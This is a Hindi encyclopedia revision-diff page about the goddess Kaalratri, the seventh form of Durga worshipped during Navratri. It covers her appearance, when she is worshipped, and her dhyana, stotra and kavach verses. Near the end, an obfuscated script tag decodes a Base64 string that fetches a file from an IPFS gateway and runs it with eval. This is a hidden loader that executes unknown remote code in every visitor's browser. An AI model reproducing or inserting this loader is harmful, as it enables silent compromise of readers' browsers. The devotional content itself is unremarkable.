"कालरात्रि सप्तम" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
छो (Text replace - 'त्यौहार' to 'त्योहार')
 
छो (Text replacement - " मां " to " माँ ")
 
(9 सदस्यों द्वारा किये गये बीच के 18 अवतरण नहीं दर्शाए गए)
पंक्ति 1: पंक्ति 1:
 
+
{{नवरात्र}}
==सप्तमं कालरात्रि / Saptam Kaalratri==  
+
{{सूचना बक्सा संक्षिप्त परिचय
[[चित्र:Kaalratri.jpg|कालरात्रि<br /> Kaalratri|thumb|200px]]
+
|चित्र=Kaalratri.jpg
[[दुर्गा]] की सातवीं शक्ति कालरात्रि के नाम से जानी जाती है। इनके शरीर का रंग घने अंधकार की भाँति काला है, बाल बिखरे हुए, गले में विद्युत की भाँति चमकने वाली माला है। इनके तीन नेत्र हैं जो ब्रह्माण्ड की तरह गोल हैं, जिनमें से बिजली की तरह चमकीली किरणें निकलती रहती हैं। इनकी नासिका से श्वास, निःश्वास से [[अग्नि]] की भयंकर ज्वालायें निकलती रहती हैं। इनका वाहन 'गर्दभ' (गधा) है। दाहिने ऊपर का हाथ वरद मुद्रा में सबको वरदान देती हैं, दाहिना नीचे वाला हाथ अभयमुद्रा में है। बायीं ओर के ऊपर वाले हाथ में लोहे का कांटा और निचले हाथ में खड्ग है। माँ का यह स्वरूप देखने में अत्यन्त भयानक है किन्तु सदैव शुभ फलदायक है। अतः भक्तों को इनसे भयभीत नहीं होना चाहिए । दुर्गा पूजा के सातवें दिन माँ कालरात्रि की उपासना का विधान है। इस दिन साधक का मन सहस्त्रारचक्र में अवस्थित होता है। साधक के लिए सभी सिध्दैयों का द्वार खुलने लगता है। इस चक्र में स्थित साधक का मन पूर्णत: मां कालरात्रि के स्वरूप में अवस्थित रहता है, उनके साक्षात्कार से मिलने वाले पुण्य का वह अधिकारी होता है, उसकी समस्त विघ्न बाधाओं और पापों का नाश हो जाता है और उसे अक्षय पुण्य लोक की प्राप्ति होती है।
+
|चित्र का नाम=कालरात्रि देवी
 
+
|विवरण=[[नवरात्र]] के सातवें दिन [[दुर्गा|माँ दुर्गा]] के सातवें स्वरूप 'कालरात्रि' की पूजा होती है।
'''ध्यान'''
+
|शीर्षक 1=स्वरूप वर्णन
 
+
|पाठ 1= इनके शरीर का [[रंग]] [[काला रंग|काला]], बाल बिखरे हुए, गले में विद्युत की भाँति चमकने वाली माला है। इनके तीन नेत्र हैं जो [[ब्रह्माण्ड]] की तरह गोल हैं, जिनमें से बिजली की तरह चमकीली किरणें निकलती रहती हैं। इनका वाहन 'गर्दभ' (गधा) है। दाहिने ऊपर का हाथ वरद मुद्रा में सबको वरदान देती हैं, दाहिना नीचे वाला हाथ अभयमुद्रा में है। बायीं ओर के ऊपर वाले हाथ में लोहे का कांटा और निचले हाथ में [[खड्ग]] है।
 +
|शीर्षक 2=पूजन समय
 +
|पाठ 2=[[चैत्र]] [[शुक्ल पक्ष|शुक्ल]] [[सप्तमी]] को प्रात: काल
 +
|शीर्षक 3=धार्मिक मान्यता
 +
|पाठ 3= भगवती कालरात्रि का ध्यान, कवच, स्तोत्र का जाप करने से 'भानुचक्र' जागृत होता है। इनकी कृपा से [[अग्निदेव|अग्नि]] भय, आकाश भय, भूत पिशाच स्मरण मात्र से ही भाग जाते हैं।
 +
|शीर्षक 4=
 +
|पाठ 4=
 +
|शीर्षक 5=
 +
|पाठ 5=
 +
|शीर्षक 6=
 +
|पाठ 6=
 +
|शीर्षक 7=
 +
|पाठ 7=
 +
|शीर्षक 8=
 +
|पाठ 8=
 +
|शीर्षक 9=
 +
|पाठ 9=
 +
|शीर्षक 10=
 +
|पाठ 10=
 +
|संबंधित लेख=[[काली|काली देवी]]
 +
|अन्य जानकारी= इस दिन साधक का मन सहस्त्रारचक्र में अवस्थित होता है। साधक के लिए सभी सिद्धियों का द्वार खुलने लगता है।
 +
|बाहरी कड़ियाँ=
 +
|अद्यतन=
 +
}}
 +
[[दुर्गा]] की सातवीं शक्ति कालरात्रि के नाम से जानी जाती है। इनके शरीर का रंग घने अंधकार की भाँति काला है, बाल बिखरे हुए, गले में विद्युत की भाँति चमकने वाली माला है। इनके तीन नेत्र हैं जो ब्रह्माण्ड की तरह गोल हैं, जिनमें से बिजली की तरह चमकीली किरणें निकलती रहती हैं। इनकी नासिका से श्वास, निःश्वास से [[अग्निदेव|अग्नि]] की भयंकर ज्वालायें निकलती रहती हैं। इनका वाहन 'गर्दभ' (गधा) है। दाहिने ऊपर का हाथ वरद मुद्रा में सबको वरदान देती हैं, दाहिना नीचे वाला हाथ अभयमुद्रा में है। बायीं ओर के ऊपर वाले हाथ में लोहे का कांटा और निचले हाथ में [[खड्ग]] है। माँ का यह स्वरूप देखने में अत्यन्त भयानक है किन्तु सदैव शुभ फलदायक है। अतः भक्तों को इनसे भयभीत नहीं होना चाहिए। दुर्गा पूजा के सातवें दिन माँ कालरात्रि की उपासना का विधान है। इस दिन साधक का मन सहस्त्रारचक्र में अवस्थित होता है। साधक के लिए सभी सिद्धियों का द्वार खुलने लगता है। इस चक्र में स्थित साधक का मन पूर्णत: माँ कालरात्रि के स्वरूप में अवस्थित रहता है, उनके साक्षात्कार से मिलने वाले पुण्य का वह अधिकारी होता है, उसकी समस्त विघ्न बाधाओं और पापों का नाश हो जाता है और उसे अक्षय पुण्य लोक की प्राप्ति होती है। भगवती कालरात्रि का ध्यान, कवच, स्तोत्र का जाप करने से 'भानुचक्र' जागृत होता है। इनकी कृपा से [[अग्निदेव|अग्नि]] भय, आकाश भय, भूत पिशाच स्मरण मात्र से ही भाग जाते हैं। कालरात्रि माता भक्तों को अभय प्रदान करती है। 
 +
====ध्यान====
 
<poem>
 
<poem>
 
करालवंदना धोरां मुक्तकेशी चतुर्भुजाम्।
 
करालवंदना धोरां मुक्तकेशी चतुर्भुजाम्।
पंक्ति 16: पंक्ति 41:
 
एवं सचियन्तयेत् कालरात्रिं सर्वकाम् समृध्दिदाम्॥
 
एवं सचियन्तयेत् कालरात्रिं सर्वकाम् समृध्दिदाम्॥
 
</poem>
 
</poem>
 
+
====स्तोत्र पाठ====
'''स्तोत्र पाठ'''
 
 
 
 
<poem>
 
<poem>
हीं कालरात्रि श्री कराली च क्लीं कल्याणी कलावती।
+
ह्रीं कालरात्रि श्रींं कराली च क्लीं कल्याणी कलावती।
 
कालमाता कलिदर्पध्नी कमदीश कुपान्विता॥
 
कालमाता कलिदर्पध्नी कमदीश कुपान्विता॥
कामबीजजपान्दा कमबीजस्वरूपिणी।
+
कामबीजजपान्दा कामबीजस्वरूपिणी।
 
कुमतिघ्नी कुलीनर्तिनाशिनी कुल कामिनी॥
 
कुमतिघ्नी कुलीनर्तिनाशिनी कुल कामिनी॥
क्लीं हीं श्रीं मन्त्र्वर्णेन कालकण्टकघातिनी।
+
क्लीं ह्रीं श्रीं मन्त्र्वर्णेन कालकण्टकघातिनी।
 
कृपामयी कृपाधारा कृपापारा कृपागमा॥
 
कृपामयी कृपाधारा कृपापारा कृपागमा॥
 
</poem>
 
</poem>
  
'''कवच'''
+
====कवच====
 
 
 
<poem>
 
<poem>
ऊँ क्लीं मे ह्रदयं पातु पादौ श्रीकालरात्रि।
+
ऊँ क्लीं मे हृदयं पातु पादौ श्रीकालरात्रि।
 
ललाटे सततं पातु तुष्टग्रह निवारिणी॥
 
ललाटे सततं पातु तुष्टग्रह निवारिणी॥
 
रसनां पातु कौमारी, भैरवी चक्षुषोर्भम।
 
रसनां पातु कौमारी, भैरवी चक्षुषोर्भम।
पंक्ति 39: पंक्ति 61:
 
</poem>
 
</poem>
  
*भगवती कालरात्रि का ध्यान, कवच, स्तोत्र का जाप करने से 'भानुचक्र' जागृत होता है। इनकी कृपा से [[अग्नि]] भय, आकाश भय, भूत पिशाच स्मरण मात्र से ही भाग जाते हैं। कालरात्रि माता भक्तों को अभय प्रदान करती है। 
 
  
{{Navdurga}}
+
{{लेख प्रगति|आधार=|प्रारम्भिक= प्रारम्भिक3|माध्यमिक= |पूर्णता= |शोध= }}
{{पर्व और त्योहार}}
+
==टीका टिप्पणी और संदर्भ==
 +
<references/>
 +
==संबंधित लेख==
 +
{{हिन्दू देवी देवता और अवतार}} {{Navdurga2}}{{पर्व और त्योहार}}{{व्रत और उत्सव}}{{Navdurga}}
 
[[Category:संस्कृति कोश]]
 
[[Category:संस्कृति कोश]]
 
[[Category:पर्व और त्योहार]]
 
[[Category:पर्व और त्योहार]]
 +
[[Category:हिन्दू देवी-देवता]]
 +
[[Category:प्रसिद्ध चरित्र और मिथक कोश]][[Category:हिन्दू धर्म कोश]][[Category:धर्म कोश]]
 
__INDEX__
 
__INDEX__
 +
__NOTOC__

14:08, 2 जून 2017 के समय का अवतरण


कालरात्रि सप्तम
कालरात्रि देवी
विवरण नवरात्र के सातवें दिन माँ दुर्गा के सातवें स्वरूप 'कालरात्रि' की पूजा होती है।
स्वरूप वर्णन इनके शरीर का रंग काला, बाल बिखरे हुए, गले में विद्युत की भाँति चमकने वाली माला है। इनके तीन नेत्र हैं जो ब्रह्माण्ड की तरह गोल हैं, जिनमें से बिजली की तरह चमकीली किरणें निकलती रहती हैं। इनका वाहन 'गर्दभ' (गधा) है। दाहिने ऊपर का हाथ वरद मुद्रा में सबको वरदान देती हैं, दाहिना नीचे वाला हाथ अभयमुद्रा में है। बायीं ओर के ऊपर वाले हाथ में लोहे का कांटा और निचले हाथ में खड्ग है।
पूजन समय चैत्र शुक्ल सप्तमी को प्रात: काल
धार्मिक मान्यता भगवती कालरात्रि का ध्यान, कवच, स्तोत्र का जाप करने से 'भानुचक्र' जागृत होता है। इनकी कृपा से अग्नि भय, आकाश भय, भूत पिशाच स्मरण मात्र से ही भाग जाते हैं।
संबंधित लेख काली देवी
अन्य जानकारी इस दिन साधक का मन सहस्त्रारचक्र में अवस्थित होता है। साधक के लिए सभी सिद्धियों का द्वार खुलने लगता है।

दुर्गा की सातवीं शक्ति कालरात्रि के नाम से जानी जाती है। इनके शरीर का रंग घने अंधकार की भाँति काला है, बाल बिखरे हुए, गले में विद्युत की भाँति चमकने वाली माला है। इनके तीन नेत्र हैं जो ब्रह्माण्ड की तरह गोल हैं, जिनमें से बिजली की तरह चमकीली किरणें निकलती रहती हैं। इनकी नासिका से श्वास, निःश्वास से अग्नि की भयंकर ज्वालायें निकलती रहती हैं। इनका वाहन 'गर्दभ' (गधा) है। दाहिने ऊपर का हाथ वरद मुद्रा में सबको वरदान देती हैं, दाहिना नीचे वाला हाथ अभयमुद्रा में है। बायीं ओर के ऊपर वाले हाथ में लोहे का कांटा और निचले हाथ में खड्ग है। माँ का यह स्वरूप देखने में अत्यन्त भयानक है किन्तु सदैव शुभ फलदायक है। अतः भक्तों को इनसे भयभीत नहीं होना चाहिए। दुर्गा पूजा के सातवें दिन माँ कालरात्रि की उपासना का विधान है। इस दिन साधक का मन सहस्त्रारचक्र में अवस्थित होता है। साधक के लिए सभी सिद्धियों का द्वार खुलने लगता है। इस चक्र में स्थित साधक का मन पूर्णत: माँ कालरात्रि के स्वरूप में अवस्थित रहता है, उनके साक्षात्कार से मिलने वाले पुण्य का वह अधिकारी होता है, उसकी समस्त विघ्न बाधाओं और पापों का नाश हो जाता है और उसे अक्षय पुण्य लोक की प्राप्ति होती है। भगवती कालरात्रि का ध्यान, कवच, स्तोत्र का जाप करने से 'भानुचक्र' जागृत होता है। इनकी कृपा से अग्नि भय, आकाश भय, भूत पिशाच स्मरण मात्र से ही भाग जाते हैं। कालरात्रि माता भक्तों को अभय प्रदान करती है।

ध्यान

करालवंदना धोरां मुक्तकेशी चतुर्भुजाम्।
कालरात्रिं करालिंका दिव्यां विद्युतमाला विभूषिताम॥
दिव्यं लौहवज्र खड्ग वामोघोर्ध्व कराम्बुजाम्।
अभयं वरदां चैव दक्षिणोध्वाघः पार्णिकाम् मम॥
महामेघ प्रभां श्यामां तक्षा चैव गर्दभारूढ़ा।
घोरदंश कारालास्यां पीनोन्नत पयोधराम्॥
सुख पप्रसन्न वदना स्मेरान्न सरोरूहाम्।
एवं सचियन्तयेत् कालरात्रिं सर्वकाम् समृध्दिदाम्॥

स्तोत्र पाठ

ह्रीं कालरात्रि श्रींं कराली च क्लीं कल्याणी कलावती।
कालमाता कलिदर्पध्नी कमदीश कुपान्विता॥
कामबीजजपान्दा कामबीजस्वरूपिणी।
कुमतिघ्नी कुलीनर्तिनाशिनी कुल कामिनी॥
क्लीं ह्रीं श्रीं मन्त्र्वर्णेन कालकण्टकघातिनी।
कृपामयी कृपाधारा कृपापारा कृपागमा॥

कवच

ऊँ क्लीं मे हृदयं पातु पादौ श्रीकालरात्रि।
ललाटे सततं पातु तुष्टग्रह निवारिणी॥
रसनां पातु कौमारी, भैरवी चक्षुषोर्भम।
कटौ पृष्ठे महेशानी, कर्णोशंकरभामिनी॥
वर्जितानी तु स्थानाभि यानि च कवचेन हि।
तानि सर्वाणि मे देवीसततंपातु स्तम्भिनी॥


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख